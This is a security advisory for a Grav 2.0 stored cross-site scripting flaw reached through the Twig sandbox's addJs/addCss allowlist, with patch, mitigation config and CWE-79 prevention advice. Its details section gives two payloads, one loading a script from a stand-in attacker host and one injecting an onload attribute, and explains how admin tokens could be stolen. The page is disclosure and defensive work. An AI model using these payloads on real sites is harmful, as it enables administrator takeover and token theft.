GHSA-8hgv-xc77-jmcr CVE-2026-86197
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.45% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
2.0.20- Upgrade getgrav/grav to this version or later
Description
Summary
Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.
The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.
This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.
Affected versions
All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.
Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.
Details
Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.
The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...
For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:
- External script inclusion —
{{ assets.addJs('https://attacker.example/poc.js') }} - Attribute injection with no attacker-controlled host —
{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, becauseunifyLegacyArguments()passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.
Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.
javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.
Impact
Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:
- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with
sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API access and refresh JWTs in
localStorageon that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.
Patches
Fixed in Grav 2.0.20:
addcss/addjsremoved from theGrav\Common\Assetssandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods throughsecurity.twig_sandbox.allowed_methods, which is additive over the shipped defaults.- Asset URLs are now HTML-escaped at every render site (
Js,Css,Link,JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.
Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'
Credits
Reported by Ahmed Ibrahim (@skeletonsec).
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| getgrav/grav | < 2.0.20 |
2.0.20 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
getgrav/grav Packagist → 2.0.20
- composer
composer require getgrav/grav:^2.0.20
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- Passive
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- Low
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xjw5-q542-3vmr Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled | High | Also affects getgrav/grav |
| GHSA-3jhr-mxmx-38cx Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet() | Medium | Also affects getgrav/grav |
| GHSA-9ccq-2jfg-qw33 Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match | Critical | Also affects getgrav/grav |
| GHSA-38p6-h87p-r4cg Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection | Medium | Also affects getgrav/grav |
| GHSA-p597-crqc-m349 Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths | Medium | Also affects getgrav/grav |
| GHSA-47ch-6w46-6xm7 Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content | Medium | Also affects getgrav/grav |
| GHSA-jq29-c7v8-rg55 Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion | High | Also affects getgrav/grav |
| GHSA-xhfv-7758-r9hx Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin | Critical | Also affects getgrav/grav |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor